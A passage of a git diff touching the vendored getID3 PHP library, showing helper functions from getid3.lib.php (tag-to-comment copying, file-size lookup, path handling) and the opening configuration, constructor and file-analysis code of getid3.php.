$GetDataImageSize[1]; + } + unlink($tempfilename); + } + return $GetDataImageSize; + } + + /** + * @param string $mime_type + * + * @return string + */ + public static function ImageExtFromMime($mime_type) { + // temporary way, works OK for now, but should be reworked in the future + return str_replace(array('image/', 'x-', 'jpeg'), array('', '', 'jpg'), $mime_type); + } + + /** + * @param array $ThisFileInfo + * @param bool $option_tags_html default true (just as in the main getID3 class) + * + * @return bool + */ + public static function CopyTagsToComments(&$ThisFileInfo, $option_tags_html=true) { + // Copy all entries from ['tags'] into common ['comments'] + if (!empty($ThisFileInfo['tags'])) { + + // Some tag types can only support limited character sets and may contain data in non-standard encoding (usually ID3v1) + // and/or poorly-transliterated tag values that are also in tag formats that do support full-range character sets + // To make the output more user-friendly, process the potentially-problematic tag formats last to enhance the chance that + // the first entries in [comments] are the most correct and the "bad" ones (if any) come later. + // https://github.com/JamesHeinrich/getID3/issues/338 + $processLastTagTypes = array('id3v1','riff'); + foreach ($processLastTagTypes as $processLastTagType) { + if (isset($ThisFileInfo['tags'][$processLastTagType])) { + // bubble ID3v1 to the end, if present to aid in detecting bad ID3v1 encodings + $temp = $ThisFileInfo['tags'][$processLastTagType]; + unset($ThisFileInfo['tags'][$processLastTagType]); + $ThisFileInfo['tags'][$processLastTagType] = $temp; + unset($temp); + } + } + foreach ($ThisFileInfo['tags'] as $tagtype => $tagarray) { + foreach ($tagarray as $tagname => $tagdata) { + foreach ($tagdata as $key => $value) { + if (!empty($value)) { + if (empty($ThisFileInfo['comments'][$tagname])) { + + // fall through and append value + + } elseif ($tagtype == 'id3v1') { + + $newvaluelength = strlen(trim($value)); + foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) { + $oldvaluelength = strlen(trim($existingvalue)); + if (($newvaluelength <= $oldvaluelength) && (substr($existingvalue, 0, $newvaluelength) == trim($value))) { + // new value is identical but shorter-than (or equal-length to) one already in comments - skip + break 2; + } + + if (function_exists('mb_convert_encoding')) { + if (trim($value) == trim(substr(mb_convert_encoding($existingvalue, $ThisFileInfo['id3v1']['encoding'], $ThisFileInfo['encoding']), 0, 30))) { + // value stored in ID3v1 appears to be probably the multibyte value transliterated (badly) into ISO-8859-1 in ID3v1. + // As an example, Foobar2000 will do this if you tag a file with Chinese or Arabic or Cyrillic or something that doesn't fit into ISO-8859-1 the ID3v1 will consist of mostly "?" characters, one per multibyte unrepresentable character + break 2; + } + } + } + + } elseif (!is_array($value)) { + + $newvaluelength = strlen(trim($value)); + $newvaluelengthMB = mb_strlen(trim($value)); + foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) { + $oldvaluelength = strlen(trim($existingvalue)); + $oldvaluelengthMB = mb_strlen(trim($existingvalue)); + if (($newvaluelengthMB == $oldvaluelengthMB) && ($existingvalue == getid3_lib::iconv_fallback('UTF-8', 'ASCII', $value))) { + // https://github.com/JamesHeinrich/getID3/issues/338 + // check for tags containing extended characters that may have been forced into limited-character storage (e.g. UTF8 values into ASCII) + // which will usually display unrepresentable characters as "?" + $ThisFileInfo['comments'][$tagname][$existingkey] = trim($value); + break; + } + if ((strlen($existingvalue) > 10) && ($newvaluelength > $oldvaluelength) && (substr(trim($value), 0, strlen($existingvalue)) == $existingvalue)) { + $ThisFileInfo['comments'][$tagname][$existingkey] = trim($value); + break; + } + } + + } + if (is_array($value) || empty($ThisFileInfo['comments'][$tagname]) || !in_array(trim($value), $ThisFileInfo['comments'][$tagname])) { + $value = (is_string($value) ? trim($value) : $value); + if (!is_int($key) && !ctype_digit($key)) { + $ThisFileInfo['comments'][$tagname][$key] = $value; + } else { + if (!isset($ThisFileInfo['comments'][$tagname])) { + $ThisFileInfo['comments'][$tagname] = array($value); + } else { + $ThisFileInfo['comments'][$tagname][] = $value; + } + } + } + } + } + } + } + + // attempt to standardize spelling of returned keys + if (!empty($ThisFileInfo['comments'])) { + $StandardizeFieldNames = array( + 'tracknumber' => 'track_number', + 'track' => 'track_number', + ); + foreach ($StandardizeFieldNames as $badkey => $goodkey) { + if (array_key_exists($badkey, $ThisFileInfo['comments']) && !array_key_exists($goodkey, $ThisFileInfo['comments'])) { + $ThisFileInfo['comments'][$goodkey] = $ThisFileInfo['comments'][$badkey]; + unset($ThisFileInfo['comments'][$badkey]); + } + } + } + + if ($option_tags_html) { + // Copy ['comments'] to ['comments_html'] + if (!empty($ThisFileInfo['comments'])) { + foreach ($ThisFileInfo['comments'] as $field => $values) { + if ($field == 'picture') { + // pictures can take up a lot of space, and we don't need multiple copies of them + // let there be a single copy in [comments][picture], and not elsewhere + continue; + } + foreach ($values as $index => $value) { + if (is_array($value)) { + $ThisFileInfo['comments_html'][$field][$index] = $value; + } else { + $ThisFileInfo['comments_html'][$field][$index] = str_replace('�', '', self::MultiByteCharString2HTML($value, $ThisFileInfo['encoding'])); + } + } + } + } + } + + } + return true; + } + + /** + * @param string $key + * @param int $begin + * @param int $end + * @param string $file + * @param string $name + * + * @return string + */ + public static function EmbeddedLookup($key, $begin, $end, $file, $name) { + + // Cached + static $cache; + if (isset($cache[$file][$name])) { + return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : ''); + } + + // Init + $keylength = strlen($key); + $line_count = $end - $begin - 7; + + // Open php file + $fp = fopen($file, 'r'); + + // Discard $begin lines + for ($i = 0; $i < ($begin + 3); $i++) { + fgets($fp, 1024); + } + + // Loop thru line + while (0 < $line_count--) { + + // Read line + $line = ltrim(fgets($fp, 1024), "\t "); + + // METHOD A: only cache the matching key - less memory but slower on next lookup of not-previously-looked-up key + //$keycheck = substr($line, 0, $keylength); + //if ($key == $keycheck) { + // $cache[$file][$name][$keycheck] = substr($line, $keylength + 1); + // break; + //} + + // METHOD B: cache all keys in this lookup - more memory but faster on next lookup of not-previously-looked-up key + //$cache[$file][$name][substr($line, 0, $keylength)] = trim(substr($line, $keylength + 1)); + $explodedLine = explode("\t", $line, 2); + $ThisKey = (isset($explodedLine[0]) ? $explodedLine[0] : ''); + $ThisValue = (isset($explodedLine[1]) ? $explodedLine[1] : ''); + $cache[$file][$name][$ThisKey] = trim($ThisValue); + } + + // Close and return + fclose($fp); + return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : ''); + } + + /** + * @param string $filename + * @param string $sourcefile + * @param bool $DieOnFailure + * + * @return bool + * @throws Exception + */ + public static function IncludeDependency($filename, $sourcefile, $DieOnFailure=false) { + global $GETID3_ERRORARRAY; + + if (file_exists($filename)) { + if (include_once($filename)) { + return true; + } else { + $diemessage = basename($sourcefile).' depends on '.$filename.', which has errors'; + } + } else { + $diemessage = basename($sourcefile).' depends on '.$filename.', which is missing'; + } + if ($DieOnFailure) { + throw new Exception($diemessage); + } else { + $GETID3_ERRORARRAY[] = $diemessage; + } + return false; + } + + /** + * @param string $string + * + * @return string + */ + public static function trimNullByte($string) { + return trim($string, "\x00"); + } + + /** + * @param string $path + * + * @return float|bool + */ + public static function getFileSizeSyscall($path) { + $commandline = null; + $filesize = false; + + if (GETID3_OS_ISWINDOWS) { + if (class_exists('COM')) { // From PHP 5.3.15 and 5.4.5, COM and DOTNET is no longer built into the php core.you have to add COM support in php.ini: + $filesystem = new COM('Scripting.FileSystemObject'); + $file = $filesystem->GetFile($path); + $filesize = $file->Size(); + unset($filesystem, $file); + } else { + $commandline = 'for %I in ('.escapeshellarg($path).') do @echo %~zI'; + } + } else { + $commandline = 'ls -l '.escapeshellarg($path).' | awk \'{print $5}\''; + } + if (isset($commandline)) { + $output = trim(`$commandline`); + if (ctype_digit($output)) { + $filesize = (float) $output; + } + } + return $filesize; + } + + /** + * @param string $filename + * + * @return string|false + */ + public static function truepath($filename) { + // 2017-11-08: this could use some improvement, patches welcome + if (preg_match('#^(\\\\\\\\|//)[a-z0-9]#i', $filename, $matches)) { + // PHP's built-in realpath function does not work on UNC Windows shares + $goodpath = array(); + foreach (explode('/', str_replace('\\', '/', $filename)) as $part) { + if ($part == '.') { + continue; + } + if ($part == '..') { + if (count($goodpath)) { + array_pop($goodpath); + } else { + // cannot step above this level, already at top level + return false; + } + } else { + $goodpath[] = $part; + } + } + return implode(DIRECTORY_SEPARATOR, $goodpath); + } + return realpath($filename); + } + + /** + * Workaround for Bug #37268 (https://bugs.php.net/bug.php?id=37268) + * + * @param string $path A path. + * @param string $suffix If the name component ends in suffix this will also be cut off. + * + * @return string + */ + public static function mb_basename($path, $suffix = '') { + $splited = preg_split('#/#', rtrim($path, '/ ')); + return substr(basename('X'.$splited[count($splited) - 1], $suffix), 1); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/getid3.php b/vendor/james-heinrich/getid3/getid3/getid3.php index a97509b6ec..c4be4845a5 100644 --- a/vendor/james-heinrich/getid3/getid3/getid3.php +++ b/vendor/james-heinrich/getid3/getid3/getid3.php @@ -1,2458 +1,2458 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// // -// Please see readme.txt for more information // -// /// -///////////////////////////////////////////////////////////////// - -// define a constant rather than looking up every time it is needed -if (!defined('GETID3_OS_ISWINDOWS')) { - define('GETID3_OS_ISWINDOWS', (stripos(PHP_OS, 'WIN') === 0)); -} -// Get base path of getID3() - ONCE -if (!defined('GETID3_INCLUDEPATH')) { - define('GETID3_INCLUDEPATH', dirname(__FILE__).DIRECTORY_SEPARATOR); -} -if (!defined('ENT_SUBSTITUTE')) { // PHP5.3 adds ENT_IGNORE, PHP5.4 adds ENT_SUBSTITUTE - define('ENT_SUBSTITUTE', (defined('ENT_IGNORE') ? ENT_IGNORE : 8)); -} - -/* -https://www.getid3.org/phpBB3/viewtopic.php?t=2114 -If you are running into a the problem where filenames with special characters are being handled -incorrectly by external helper programs (e.g. metaflac), notably with the special characters removed, -and you are passing in the filename in UTF8 (typically via a HTML form), try uncommenting this line: -*/ -//setlocale(LC_CTYPE, 'en_US.UTF-8'); - -// attempt to define temp dir as something flexible but reliable -$temp_dir = ini_get('upload_tmp_dir'); -if ($temp_dir && (!is_dir($temp_dir) || !is_readable($temp_dir))) { - $temp_dir = ''; -} -if (!$temp_dir && function_exists('sys_get_temp_dir')) { // sys_get_temp_dir added in PHP v5.2.1 - // sys_get_temp_dir() may give inaccessible temp dir, e.g. with open_basedir on virtual hosts - $temp_dir = sys_get_temp_dir(); -} -$temp_dir = @realpath($temp_dir); // see https://github.com/JamesHeinrich/getID3/pull/10 -$open_basedir = ini_get('open_basedir'); -if ($open_basedir) { - // e.g. "/var/www/vhosts/getid3.org/httpdocs/:/tmp/" - $temp_dir = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $temp_dir); - $open_basedir = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $open_basedir); - if (substr($temp_dir, -1, 1) != DIRECTORY_SEPARATOR) { - $temp_dir .= DIRECTORY_SEPARATOR; - } - $found_valid_tempdir = false; - $open_basedirs = explode(PATH_SEPARATOR, $open_basedir); - foreach ($open_basedirs as $basedir) { - if (substr($basedir, -1, 1) != DIRECTORY_SEPARATOR) { - $basedir .= DIRECTORY_SEPARATOR; - } - if (strpos($temp_dir, $basedir) === 0) { - $found_valid_tempdir = true; - break; - } - } - if (!$found_valid_tempdir) { - $temp_dir = ''; - } - unset($open_basedirs, $found_valid_tempdir, $basedir); -} -if (!$temp_dir) { - $temp_dir = '*'; // invalid directory name should force tempnam() to use system default temp dir -} -// $temp_dir = '/something/else/'; // feel free to override temp dir here if it works better for your system -if (!defined('GETID3_TEMP_DIR')) { - define('GETID3_TEMP_DIR', $temp_dir); -} -unset($open_basedir, $temp_dir); - -// End: Defines - - -class getID3 -{ - /* - * Settings - */ - - /** - * CASE SENSITIVE! - i.e. (must be supported by iconv()). Examples: ISO-8859-1 UTF-8 UTF-16 UTF-16BE - * - * @var string - */ - public $encoding = 'UTF-8'; - - /** - * Should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'EUC-CN' or 'CP1252' - * - * @var string - */ - public $encoding_id3v1 = 'ISO-8859-1'; - - /** - * ID3v1 should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'Windows-1251' or 'KOI8-R'. If true attempt to detect these encodings, but may return incorrect values for some tags actually in ISO-8859-1 encoding - * - * @var bool - */ - public $encoding_id3v1_autodetect = false; - - /* - * Optional tag checks - disable for speed. - */ - - /** - * Read and process ID3v1 tags - * - * @var bool - */ - public $option_tag_id3v1 = true; - - /** - * Read and process ID3v2 tags - * - * @var bool - */ - public $option_tag_id3v2 = true; - - /** - * Read and process Lyrics3 tags - * - * @var bool - */ - public $option_tag_lyrics3 = true; - - /** - * Read and process APE tags - * - * @var bool - */ - public $option_tag_apetag = true; - - /** - * Copy tags to root key 'tags' and encode to $this->encoding - * - * @var bool - */ - public $option_tags_process = true; - - /** - * Copy tags to root key 'tags_html' properly translated from various encodings to HTML entities - * - * @var bool - */ - public $option_tags_html = true; - - /* - * Optional tag/comment calculations - */ - - /** - * Calculate additional info such as bitrate, channelmode etc - * - * @var bool - */ - public $option_extra_info = true; - - /* - * Optional handling of embedded attachments (e.g. images) - */ - - /** - * Defaults to true (ATTACHMENTS_INLINE) for backward compatibility - * - * @var bool|string - */ - public $option_save_attachments = true; - - /* - * Optional calculations - */ - - /** - * Get MD5 sum of data part - slow - * - * @var bool - */ - public $option_md5_data = false; - - /** - * Use MD5 of source file if availble - only FLAC and OptimFROG - * - * @var bool - */ - public $option_md5_data_source = false; - - /** - * Get SHA1 sum of data part - slow - * - * @var bool - */ - public $option_sha1_data = false; - - /** - * Check whether file is larger than 2GB and thus not supported by 32-bit PHP (null: auto-detect based on - * PHP_INT_MAX) - * - * @var bool|null - */ - public $option_max_2gb_check; - - /** - * Read buffer size in bytes - * - * @var int - */ - public $option_fread_buffer_size = 32768; - - - - // module-specific options - - /** archive.rar - * if true use PHP RarArchive extension, if false (non-extension parsing not yet written in getID3) - * - * @var bool - */ - public $options_archive_rar_use_php_rar_extension = true; - - /** archive.gzip - * Optional file list - disable for speed. - * Decode gzipped files, if possible, and parse recursively (.tar.gz for example). - * - * @var bool - */ - public $options_archive_gzip_parse_contents = false; - - /** audio.midi - * if false only parse most basic information, much faster for some files but may be inaccurate - * - * @var bool - */ - public $options_audio_midi_scanwholefile = true; - - /** audio.mp3 - * Forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow, - * unrecommended, but may provide data from otherwise-unusable files. - * - * @var bool - */ - public $options_audio_mp3_allow_bruteforce = false; - - /** audio.mp3 - * number of frames to scan to determine if MPEG-audio sequence is valid - * Lower this number to 5-20 for faster scanning - * Increase this number to 50+ for most accurate detection of valid VBR/CBR mpeg-audio streams - * - * @var int - */ - public $options_audio_mp3_mp3_valid_check_frames = 50; - - /** audio.wavpack - * Avoid scanning all frames (break after finding ID_RIFF_HEADER and ID_CONFIG_BLOCK, - * significantly faster for very large files but other data may be missed - * - * @var bool - */ - public $options_audio_wavpack_quick_parsing = false; - - /** audio-video.flv - * Break out of the loop if too many frames have been scanned; only scan this - * many if meta frame does not contain useful duration. - * - * @var int - */ - public $options_audiovideo_flv_max_frames = 100000; - - /** audio-video.matroska - * If true, do not return information about CLUSTER chunks, since there's a lot of them - * and they're not usually useful [default: TRUE]. - * - * @var bool - */ - public $options_audiovideo_matroska_hide_clusters = true; - - /** audio-video.matroska - * True to parse the whole file, not only header [default: FALSE]. - * - * @var bool - */ - public $options_audiovideo_matroska_parse_whole_file = false; - - /** audio-video.quicktime - * return all parsed data from all atoms if true, otherwise just returned parsed metadata - * - * @var bool - */ - public $options_audiovideo_quicktime_ReturnAtomData = false; - - /** audio-video.quicktime - * return all parsed data from all atoms if true, otherwise just returned parsed metadata - * - * @var bool - */ - public $options_audiovideo_quicktime_ParseAllPossibleAtoms = false; - - /** audio-video.swf - * return all parsed tags if true, otherwise do not return tags not parsed by getID3 - * - * @var bool - */ - public $options_audiovideo_swf_ReturnAllTagData = false; - - /** graphic.bmp - * return BMP palette - * - * @var bool - */ - public $options_graphic_bmp_ExtractPalette = false; - - /** graphic.bmp - * return image data - * - * @var bool - */ - public $options_graphic_bmp_ExtractData = false; - - /** graphic.png - * If data chunk is larger than this do not read it completely (getID3 only needs the first - * few dozen bytes for parsing). - * - * @var int - */ - public $options_graphic_png_max_data_bytes = 10000000; - - /** misc.pdf - * return full details of PDF Cross-Reference Table (XREF) - * - * @var bool - */ - public $options_misc_pdf_returnXREF = false; - - /** misc.torrent - * Assume all .torrent files are less than 1MB and just read entire thing into memory for easy processing. - * Override this value if you need to process files larger than 1MB - * - * @var int - */ - public $options_misc_torrent_max_torrent_filesize = 1048576; - - - - // Public variables - - /** - * Filename of file being analysed. - * - * @var string - */ - public $filename; - - /** - * Filepointer to file being analysed. - * - * @var resource - */ - public $fp; - - /** - * Result array. - * - * @var array - */ - public $info; - - /** - * @var string - */ - public $tempdir = GETID3_TEMP_DIR; - - /** - * @var int - */ - public $memory_limit = 0; - - /** - * @var string - */ - protected $startup_error = ''; - - /** - * @var string - */ - protected $startup_warning = ''; - - const VERSION = '1.9.21-202109171300'; - const FREAD_BUFFER_SIZE = 32768; - - const ATTACHMENTS_NONE = false; - const ATTACHMENTS_INLINE = true; - - public function __construct() { - - // Check for PHP version - $required_php_version = '5.3.0'; - if (version_compare(PHP_VERSION, $required_php_version, '<')) { - $this->startup_error .= 'getID3() requires PHP v'.$required_php_version.' or higher - you are running v'.PHP_VERSION."\n"; - return; - } - - // Check memory - $memoryLimit = ini_get('memory_limit'); - if (preg_match('#([0-9]+) ?M#i', $memoryLimit, $matches)) { - // could be stored as "16M" rather than 16777216 for example - $memoryLimit = $matches[1] * 1048576; - } elseif (preg_match('#([0-9]+) ?G#i', $memoryLimit, $matches)) { // The 'G' modifier is available since PHP 5.1.0 - // could be stored as "2G" rather than 2147483648 for example - $memoryLimit = $matches[1] * 1073741824; - } - $this->memory_limit = $memoryLimit; - - if ($this->memory_limit <= 0) { - // memory limits probably disabled - } elseif ($this->memory_limit <= 4194304) { - $this->startup_error .= 'PHP has less than 4MB available memory and will very likely run out. Increase memory_limit in php.ini'."\n"; - } elseif ($this->memory_limit <= 12582912) { - $this->startup_warning .= 'PHP has less than 12MB available memory and might run out if all modules are loaded. Increase memory_limit in php.ini'."\n"; - } - - // Check safe_mode off - if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { - $this->warning('WARNING: Safe mode is on, shorten support disabled, md5data/sha1data for ogg vorbis disabled, ogg vorbos/flac tag writing disabled.'); - } - - if (($mbstring_func_overload = (int) ini_get('mbstring.func_overload')) && ($mbstring_func_overload & 0x02)) { - // http://php.net/manual/en/mbstring.overload.php - // "mbstring.func_overload in php.ini is a positive value that represents a combination of bitmasks specifying the categories of functions to be overloaded. It should be set to 1 to overload the mail() function. 2 for string functions, 4 for regular expression functions" - // getID3 cannot run when string functions are overloaded. It doesn't matter if mail() or ereg* functions are overloaded since getID3 does not use those. - $this->startup_error .= 'WARNING: php.ini contains "mbstring.func_overload = '.ini_get('mbstring.func_overload').'", getID3 cannot run with this setting (bitmask 2 (string functions) cannot be set). Recommended to disable entirely.'."\n"; - } - - // check for magic quotes in PHP < 7.4.0 (when these functions became deprecated) - if (version_compare(PHP_VERSION, '7.4.0', '<')) { - // Check for magic_quotes_runtime - if (function_exists('get_magic_quotes_runtime')) { - if (get_magic_quotes_runtime()) { - $this->startup_error .= 'magic_quotes_runtime must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_runtime(0) and set_magic_quotes_runtime(1).'."\n"; - } - } - // Check for magic_quotes_gpc - if (function_exists('get_magic_quotes_gpc')) { - if (get_magic_quotes_gpc()) { - $this->startup_error .= 'magic_quotes_gpc must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_gpc(0) and set_magic_quotes_gpc(1).'."\n"; - } - } - } - - // Load support library - if (!include_once(GETID3_INCLUDEPATH.'getid3.lib.php')) { - $this->startup_error .= 'getid3.lib.php is missing or corrupt'."\n"; - } - - if ($this->option_max_2gb_check === null) { - $this->option_max_2gb_check = (PHP_INT_MAX <= 2147483647); - } - - - // Needed for Windows only: - // Define locations of helper applications for Shorten, VorbisComment, MetaFLAC - // as well as other helper functions such as head, etc - // This path cannot contain spaces, but the below code will attempt to get the - // 8.3-equivalent path automatically - // IMPORTANT: This path must include the trailing slash - if (GETID3_OS_ISWINDOWS && !defined('GETID3_HELPERAPPSDIR')) { - - $helperappsdir = GETID3_INCLUDEPATH.'..'.DIRECTORY_SEPARATOR.'helperapps'; // must not have any space in this path - - if (!is_dir($helperappsdir)) { - $this->startup_warning .= '"'.$helperappsdir.'" cannot be defined as GETID3_HELPERAPPSDIR because it does not exist'."\n"; - } elseif (strpos(realpath($helperappsdir), ' ') !== false) { - $DirPieces = explode(DIRECTORY_SEPARATOR, realpath($helperappsdir)); - $path_so_far = array(); - foreach ($DirPieces as $key => $value) { - if (strpos($value, ' ') !== false) { - if (!empty($path_so_far)) { - $commandline = 'dir /x '.escapeshellarg(implode(DIRECTORY_SEPARATOR, $path_so_far)); - $dir_listing = `$commandline`; - $lines = explode("\n", $dir_listing); - foreach ($lines as $line) { - $line = trim($line); - if (preg_match('#^([0-9/]{10}) +([0-9:]{4,5}( [AP]M)?) +(|[0-9,]+) +([^ ]{0,11}) +(.+)$#', $line, $matches)) { - list($dummy, $date, $time, $ampm, $filesize, $shortname, $filename) = $matches; - if ((strtoupper($filesize) == '') && (strtolower($filename) == strtolower($value))) { - $value = $shortname; - } - } - } - } else { - $this->startup_warning .= 'GETID3_HELPERAPPSDIR must not have any spaces in it - use 8dot3 naming convention if neccesary. You can run "dir /x" from the commandline to see the correct 8.3-style names.'."\n"; - } - } - $path_so_far[] = $value; - } - $helperappsdir = implode(DIRECTORY_SEPARATOR, $path_so_far); - } - define('GETID3_HELPERAPPSDIR', $helperappsdir.DIRECTORY_SEPARATOR); - } - - if (!empty($this->startup_error)) { - echo $this->startup_error; - throw new getid3_exception($this->startup_error); - } - } - - /** - * @return string - */ - public function version() { - return self::VERSION; - } - - /** - * @return int - */ - public function fread_buffer_size() { - return $this->option_fread_buffer_size; - } - - /** - * @param array $optArray - * - * @return bool - */ - public function setOption($optArray) { - if (!is_array($optArray) || empty($optArray)) { - return false; - } - foreach ($optArray as $opt => $val) { - if (isset($this->$opt) === false) { - continue; - } - $this->$opt = $val; - } - return true; - } - - /** - * @param string $filename - * @param int $filesize - * @param resource $fp - * - * @return bool - * - * @throws getid3_exception - */ - public function openfile($filename, $filesize=null, $fp=null) { - try { - if (!empty($this->startup_error)) { - throw new getid3_exception($this->startup_error); - } - if (!empty($this->startup_warning)) { - foreach (explode("\n", $this->startup_warning) as $startup_warning) { - $this->warning($startup_warning); - } - } - - // init result array and set parameters - $this->filename = $filename; - $this->info = array(); - $this->info['GETID3_VERSION'] = $this->version(); - $this->info['php_memory_limit'] = (($this->memory_limit > 0) ? $this->memory_limit : false); - - // remote files not supported - if (preg_match('#^(ht|f)tp://#', $filename)) { - throw new getid3_exception('Remote files are not supported - please copy the file locally first'); - } - - $filename = str_replace('/', DIRECTORY_SEPARATOR, $filename); - //$filename = preg_replace('#(?fp = fopen($filename, 'rb'))) { // see https://www.getid3.org/phpBB3/viewtopic.php?t=1720 - if (($fp != null) && ((get_resource_type($fp) == 'file') || (get_resource_type($fp) == 'stream'))) { - $this->fp = $fp; - } elseif ((is_readable($filename) || file_exists($filename)) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) { - // great - } else { - $errormessagelist = array(); - if (!is_readable($filename)) { - $errormessagelist[] = '!is_readable'; - } - if (!is_file($filename)) { - $errormessagelist[] = '!is_file'; - } - if (!file_exists($filename)) { - $errormessagelist[] = '!file_exists'; - } - if (empty($errormessagelist)) { - $errormessagelist[] = 'fopen failed'; - } - throw new getid3_exception('Could not open "'.$filename.'" ('.implode('; ', $errormessagelist).')'); - } - - $this->info['filesize'] = (!is_null($filesize) ? $filesize : filesize($filename)); - // set redundant parameters - might be needed in some include file - // filenames / filepaths in getID3 are always expressed with forward slashes (unix-style) for both Windows and other to try and minimize confusion - $filename = str_replace('\\', '/', $filename); - $this->info['filepath'] = str_replace('\\', '/', realpath(dirname($filename))); - $this->info['filename'] = getid3_lib::mb_basename($filename); - $this->info['filenamepath'] = $this->info['filepath'].'/'.$this->info['filename']; - - // set more parameters - $this->info['avdataoffset'] = 0; - $this->info['avdataend'] = $this->info['filesize']; - $this->info['fileformat'] = ''; // filled in later - $this->info['audio']['dataformat'] = ''; // filled in later, unset if not used - $this->info['video']['dataformat'] = ''; // filled in later, unset if not used - $this->info['tags'] = array(); // filled in later, unset if not used - $this->info['error'] = array(); // filled in later, unset if not used - $this->info['warning'] = array(); // filled in later, unset if not used - $this->info['comments'] = array(); // filled in later, unset if not used - $this->info['encoding'] = $this->encoding; // required by id3v2 and iso modules - can be unset at the end if desired - - // option_max_2gb_check - if ($this->option_max_2gb_check) { - // PHP (32-bit all, and 64-bit Windows) doesn't support integers larger than 2^31 (~2GB) - // filesize() simply returns (filesize % (pow(2, 32)), no matter the actual filesize - // ftell() returns 0 if seeking to the end is beyond the range of unsigned integer - $fseek = fseek($this->fp, 0, SEEK_END); - if (($fseek < 0) || (($this->info['filesize'] != 0) && (ftell($this->fp) == 0)) || - ($this->info['filesize'] < 0) || - (ftell($this->fp) < 0)) { - $real_filesize = getid3_lib::getFileSizeSyscall($this->info['filenamepath']); - - if ($real_filesize === false) { - unset($this->info['filesize']); - fclose($this->fp); - throw new getid3_exception('Unable to determine actual filesize. File is most likely larger than '.round(PHP_INT_MAX / 1073741824).'GB and is not supported by PHP.'); - } elseif (getid3_lib::intValueSupported($real_filesize)) { - unset($this->info['filesize']); - fclose($this->fp); - throw new getid3_exception('PHP seems to think the file is larger than '.round(PHP_INT_MAX / 1073741824).'GB, but filesystem reports it as '.number_format($real_filesize / 1073741824, 3).'GB, please report to info@getid3.org'); - } - $this->info['filesize'] = $real_filesize; - $this->warning('File is larger than '.round(PHP_INT_MAX / 1073741824).'GB (filesystem reports it as '.number_format($real_filesize / 1073741824, 3).'GB) and is not properly supported by PHP.'); - } - } - - return true; - - } catch (Exception $e) { - $this->error($e->getMessage()); - } - return false; - } - - /** - * analyze file - * - * @param string $filename - * @param int $filesize - * @param string $original_filename - * @param resource $fp - * - * @return array - */ - public function analyze($filename, $filesize=null, $original_filename='', $fp=null) { - try { - if (!$this->openfile($filename, $filesize, $fp)) { - return $this->info; - } - - // Handle tags - foreach (array('id3v2'=>'id3v2', 'id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) { - $option_tag = 'option_tag_'.$tag_name; - if ($this->$option_tag) { - $this->include_module('tag.'.$tag_name); - try { - $tag_class = 'getid3_'.$tag_name; - $tag = new $tag_class($this); - $tag->Analyze(); - } - catch (getid3_exception $e) { - throw $e; - } - } - } - if (isset($this->info['id3v2']['tag_offset_start'])) { - $this->info['avdataoffset'] = max($this->info['avdataoffset'], $this->info['id3v2']['tag_offset_end']); - } - foreach (array('id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) { - if (isset($this->info[$tag_key]['tag_offset_start'])) { - $this->info['avdataend'] = min($this->info['avdataend'], $this->info[$tag_key]['tag_offset_start']); - } - } - - // ID3v2 detection (NOT parsing), even if ($this->option_tag_id3v2 == false) done to make fileformat easier - if (!$this->option_tag_id3v2) { - fseek($this->fp, 0); - $header = fread($this->fp, 10); - if ((substr($header, 0, 3) == 'ID3') && (strlen($header) == 10)) { - $this->info['id3v2']['header'] = true; - $this->info['id3v2']['majorversion'] = ord($header[3]); - $this->info['id3v2']['minorversion'] = ord($header[4]); - $this->info['avdataoffset'] += getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length - } - } - - // read 32 kb file data - fseek($this->fp, $this->info['avdataoffset']); - $formattest = fread($this->fp, 32774); - - // determine format - $determined_format = $this->GetFileFormat($formattest, ($original_filename ? $original_filename : $filename)); - - // unable to determine file format - if (!$determined_format) { - fclose($this->fp); - return $this->error('unable to determine file format'); - } - - // check for illegal ID3 tags - if (isset($determined_format['fail_id3']) && (in_array('id3v1', $this->info['tags']) || in_array('id3v2', $this->info['tags']))) { - if ($determined_format['fail_id3'] === 'ERROR') { - fclose($this->fp); - return $this->error('ID3 tags not allowed on this file type.'); - } elseif ($determined_format['fail_id3'] === 'WARNING') { - $this->warning('ID3 tags not allowed on this file type.'); - } - } - - // check for illegal APE tags - if (isset($determined_format['fail_ape']) && in_array('ape', $this->info['tags'])) { - if ($determined_format['fail_ape'] === 'ERROR') { - fclose($this->fp); - return $this->error('APE tags not allowed on this file type.'); - } elseif ($determined_format['fail_ape'] === 'WARNING') { - $this->warning('APE tags not allowed on this file type.'); - } - } - - // set mime type - $this->info['mime_type'] = $determined_format['mime_type']; - - // supported format signature pattern detected, but module deleted - if (!file_exists(GETID3_INCLUDEPATH.$determined_format['include'])) { - fclose($this->fp); - return $this->error('Format not supported, module "'.$determined_format['include'].'" was removed.'); - } - - // module requires mb_convert_encoding/iconv support - // Check encoding/iconv support - if (!empty($determined_format['iconv_req']) && !function_exists('mb_convert_encoding') && !function_exists('iconv') && !in_array($this->encoding, array('ISO-8859-1', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'UTF-16'))) { - $errormessage = 'mb_convert_encoding() or iconv() support is required for this module ('.$determined_format['include'].') for encodings other than ISO-8859-1, UTF-8, UTF-16LE, UTF16-BE, UTF-16. '; - if (GETID3_OS_ISWINDOWS) { - $errormessage .= 'PHP does not have mb_convert_encoding() or iconv() support. Please enable php_mbstring.dll / php_iconv.dll in php.ini, and copy php_mbstring.dll / iconv.dll from c:/php/dlls to c:/windows/system32'; - 